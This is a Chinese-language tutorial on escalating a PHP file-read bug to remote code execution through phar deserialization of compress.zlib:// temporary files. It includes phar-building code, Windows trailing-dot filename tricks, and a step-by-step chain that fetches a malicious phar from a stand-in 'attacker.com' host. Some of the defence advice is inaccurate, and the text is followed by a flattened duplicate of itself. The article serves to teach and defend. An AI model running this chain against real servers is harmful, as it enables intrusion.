对PHP中文件读漏洞利用的新方式
字数 1240 2025-08-19 12:41:56

PHP文件读漏洞利用新方式:通过临时文件实现反序列化攻击

1. 传统文件读漏洞的局限性

传统的PHP文件读漏洞模型通常表现为:

<?php
$filename = $_GET['name'];
file_get_contents($filename);

这种漏洞虽然存在,但往往难以造成严重后果,因为:

  • 只能读取服务器上已有的文件
  • 受限于文件权限和open_basedir等限制
  • 缺乏直接执行代码的能力

2. 新型攻击思路:利用临时文件实现反序列化

2.1 临时文件的生成方式

PHP中有多种方式可以生成临时文件:

2.1.1 使用compress.zlib:// Wrapper

<?php
putenv("TMPDIR=xxxxx"); // 设置临时文件夹
file_get_contents("compress.zlib://http://www.baidu.com");

当使用compress.zlib://协议时,PHP会:

  1. 下载指定URL的内容
  2. 在临时目录中创建临时文件
  3. 将下载内容写入临时文件
  4. 处理完成后删除临时文件

2.1.2 其他生成临时文件的方式

  • 文件上传功能
  • PHP_SESSION_UPLOAD_PROGRESS机制

2.2 反序列化漏洞基础

PHP的phar://协议可以触发反序列化操作。要利用这一点,我们需要:

  1. 创建一个恶意的phar文件
  2. 通过phar://协议包含该文件

示例phar文件生成代码:

<?php
class TestObject {
    // 可以在此类中定义__destruct或__wakeup方法实现RCE
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); // 将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

2.3 结合临时文件与反序列化

攻击思路:

  1. 使用compress.zlib://生成包含恶意phar内容的临时文件
  2. 通过某种方式获取临时文件名(如列目录漏洞)
  3. 使用phar://协议包含该临时文件,触发反序列化

3. 关键技术细节

3.1 时间差利用

由于临时文件是短暂存在的,我们需要制造时间差:

  1. 生成大文件延长临时文件存在时间
  2. 快速进行两步操作(生成和利用)

3.2 Windows特性利用

phar协议在解析时会检查文件后缀名,但Windows有两个重要特性可以帮助绕过:

  1. 忽略文件末尾的点(如"file.phar."等同于"file.phar")
  2. 忽略文件末尾的空格

利用方法:

  • 生成临时文件名为[随机].phar.(末尾带点)
  • 使用phar://./[随机].phar.包含

3.3 文件格式保持

使用compress.zlib://生成的临时文件内容与原内容完全一致,这确保了:

  • phar文件签名不会被破坏
  • 文件结构保持完整
  • 反序列化可以正常触发

4. 完整攻击流程(Windows环境)

  1. 设置临时目录位置(可选):

    putenv("TMPDIR=C:\\temp");
    
  2. 生成phar格式的临时文件:

    file_get_contents("compress.zlib://http://attacker.com/malicious.phar");
    
  3. 通过列目录漏洞获取临时文件名(如C:\temp\phpA1B2.tmp

  4. 重命名或复制临时文件(可选):

    copy("C:\\temp\\phpA1B2.tmp", "C:\\temp\\exploit.phar.");
    
  5. 触发反序列化:

    file_get_contents("phar://C:/temp/exploit.phar.");
    

5. 防御措施

  1. 禁用危险的PHP协议:

    allow_url_fopen = Off
    allow_url_include = Off
    
  2. 限制phar协议使用:

    phar.readonly = On
    
  3. 设置安全的临时目录:

    putenv("TMPDIR=/secured/tmp/dir");
    
  4. 实施文件操作白名单机制

  5. 及时更新PHP版本,修复已知漏洞

6. 总结

这种攻击方式通过结合PHP的多种特性,将原本有限的文件读漏洞升级为可能导致远程代码执行的反序列化漏洞。关键在于:

  • 利用Wrapper生成可控临时文件
  • 结合Windows文件名解析特性
  • 精确控制时间窗口进行利用
  • 保持phar文件结构完整

理解这种攻击方式有助于开发者更好地保护PHP应用安全,避免类似漏洞的产生。

PHP文件读漏洞利用新方式:通过临时文件实现反序列化攻击 1. 传统文件读漏洞的局限性 传统的PHP文件读漏洞模型通常表现为: 这种漏洞虽然存在,但往往难以造成严重后果,因为: 只能读取服务器上已有的文件 受限于文件权限和open_ basedir等限制 缺乏直接执行代码的能力 2. 新型攻击思路:利用临时文件实现反序列化 2.1 临时文件的生成方式 PHP中有多种方式可以生成临时文件: 2.1.1 使用compress.zlib:// Wrapper 当使用compress.zlib://协议时,PHP会: 下载指定URL的内容 在临时目录中创建临时文件 将下载内容写入临时文件 处理完成后删除临时文件 2.1.2 其他生成临时文件的方式 文件上传功能 PHP_ SESSION_ UPLOAD_ PROGRESS机制 2.2 反序列化漏洞基础 PHP的phar://协议可以触发反序列化操作。要利用这一点,我们需要: 创建一个恶意的phar文件 通过phar://协议包含该文件 示例phar文件生成代码: 2.3 结合临时文件与反序列化 攻击思路: 使用compress.zlib://生成包含恶意phar内容的临时文件 通过某种方式获取临时文件名(如列目录漏洞) 使用phar://协议包含该临时文件,触发反序列化 3. 关键技术细节 3.1 时间差利用 由于临时文件是短暂存在的,我们需要制造时间差: 生成大文件延长临时文件存在时间 快速进行两步操作(生成和利用) 3.2 Windows特性利用 phar协议在解析时会检查文件后缀名,但Windows有两个重要特性可以帮助绕过: 忽略文件末尾的点(如"file.phar."等同于"file.phar") 忽略文件末尾的空格 利用方法: 生成临时文件名为 [随机].phar. (末尾带点) 使用 phar://./[随机].phar. 包含 3.3 文件格式保持 使用compress.zlib://生成的临时文件内容与原内容完全一致,这确保了: phar文件签名不会被破坏 文件结构保持完整 反序列化可以正常触发 4. 完整攻击流程(Windows环境) 设置临时目录位置(可选): 生成phar格式的临时文件: 通过列目录漏洞获取临时文件名(如 C:\temp\phpA1B2.tmp ) 重命名或复制临时文件(可选): 触发反序列化: 5. 防御措施 禁用危险的PHP协议: 限制phar协议使用: 设置安全的临时目录: 实施文件操作白名单机制 及时更新PHP版本,修复已知漏洞 6. 总结 这种攻击方式通过结合PHP的多种特性,将原本有限的文件读漏洞升级为可能导致远程代码执行的反序列化漏洞。关键在于: 利用Wrapper生成可控临时文件 结合Windows文件名解析特性 精确控制时间窗口进行利用 保持phar文件结构完整 理解这种攻击方式有助于开发者更好地保护PHP应用安全,避免类似漏洞的产生。